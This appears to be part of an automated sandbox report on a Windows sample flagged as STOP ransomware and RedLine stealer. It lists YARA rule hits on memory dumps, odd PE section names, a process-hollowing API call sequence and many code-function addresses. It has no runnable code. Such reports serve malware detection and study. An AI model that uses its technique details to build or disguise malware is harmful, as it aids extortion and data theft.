Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000007.00000002.1778324118.000000000080C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1722225199.0000000002198000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.1800497769.00000000008F3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.1863661270.0000000000919000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.1940914236.00000000021B5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 5480, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 3492, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7240, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7380, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7492, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7564, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7688, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7808, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7880, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

PE file contains section with special chars

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Static PE information: section name: 4\ud
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.2.dr	Static PE information: section name: 4\ud

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02230110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_02230110
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02240110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	7_2_02240110
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02280110 VirtualAlloc,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	8_2_02280110

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00404A4A	0_2_00404A4A
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00503B71	0_2_00503B71
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02237220	0_2_02237220
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_022B22C0	0_2_022B22C0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0227E37C	0_2_0227E37C
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02237393	0_2_02237393
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223A026	0_2_0223A026
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0224F030	0_2_0224F030
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223B000	0_2_0223B000
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223B0B0	0_2_0223B0B0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_022370E0	0_2_022370E0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_022330F0	0_2_022330F0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_022400D0	0_2_022400D0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02239120	0_2_02239120
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0227E141	0_2_0227E141
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0225D1A4	0_2_0225D1A4
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0227B69F	0_2_0227B69F
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223A699	0_2_0223A699
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223E6E0	0_2_0223E6E0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223C760	0_2_0223C760
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223A79A	0_2_0223A79A
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0225D7F1	0_2_0225D7F1
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02233520	0_2_02233520
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02237520	0_2_02237520
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223CA10	0_2_0223CA10
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02237A80	0_2_02237A80
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02240B00	0_2_02240B00
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02232B60	0_2_02232B60
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223DBE0	0_2_0223DBE0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02237880	0_2_02237880
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_022518D0	0_2_022518D0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0223A916	0_2_0223A916
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0225E9A3	0_2_0225E9A3
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0225F9B0	0_2_0225F9B0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_022359F7	0_2_022359F7
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_022389D0	0_2_022389D0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02238E60	0_2_02238E60
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02264E9F	0_2_02264E9F
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02272D1E	0_2_02272D1E
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02235DE7	0_2_02235DE7
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02235DF7	0_2_02235DF7
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B46076	1_2_00B46076
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Code function: 1_2_00B46D00	1_2_00B46D00
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040D240	2_2_0040D240
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00419F90	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00405057	2_2_00405057
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040C070	2_2_0040C070
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0042E003	2_2_0042E003
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0042F010	2_2_0042F010
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00408030	2_2_00408030
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004070E0	2_2_004070E0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00410160	2_2_00410160
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004C8113	2_2_004C8113
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004021C0	2_2_004021C0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004C9343	2_2_004C9343
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0044237E	2_2_0044237E
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00405447	2_2_00405447
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00405457	2_2_00405457
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004084C0	2_2_004084C0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004344FF	2_2_004344FF
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00449506	2_2_00449506
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0044B5B1	2_2_0044B5B1
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040A660	2_2_0040A660
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00409686	2_2_00409686
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0041E690	2_2_0041E690
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00406740	2_2_00406740
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00402750	2_2_00402750
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040A710	2_2_0040A710
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040F730	2_2_0040F730
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00408780	2_2_00408780
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0044D7A1	2_2_0044D7A1
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0042C804	2_2_0042C804
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00406880	2_2_00406880
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00481920	2_2_00481920
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0044D9DC	2_2_0044D9DC
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004069F3	2_2_004069F3
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00449A71	2_2_00449A71
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00443B40	2_2_00443B40
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00402B80	2_2_00402B80
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00406B80	2_2_00406B80
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00409CF9	2_2_00409CF9
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0044ACFF	2_2_0044ACFF
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040DD40	2_2_0040DD40
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00427D6C	2_2_00427D6C
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0040BDC0	2_2_0040BDC0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00409DFA	2_2_00409DFA
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_0042CE51	2_2_0042CE51
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00406EE0	2_2_00406EE0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00409F76	2_2_00409F76
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00420F30	2_2_00420F30
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_00449FE3	2_2_00449FE3
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02247220	7_2_02247220
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_022C22C0	7_2_022C22C0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0228E37C	7_2_0228E37C
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02247393	7_2_02247393
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224A026	7_2_0224A026
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0225F030	7_2_0225F030
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224B000	7_2_0224B000
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224B0B0	7_2_0224B0B0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_022470E0	7_2_022470E0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_022430F0	7_2_022430F0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_022500D0	7_2_022500D0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02249120	7_2_02249120
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0228E141	7_2_0228E141
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0226D1A4	7_2_0226D1A4
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0228B69F	7_2_0228B69F
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224A699	7_2_0224A699
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224E6E0	7_2_0224E6E0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224C760	7_2_0224C760
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224A79A	7_2_0224A79A
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0226D7F1	7_2_0226D7F1
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02243520	7_2_02243520
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02247520	7_2_02247520
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224CA10	7_2_0224CA10
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02247A80	7_2_02247A80
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02250B00	7_2_02250B00
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02242B60	7_2_02242B60
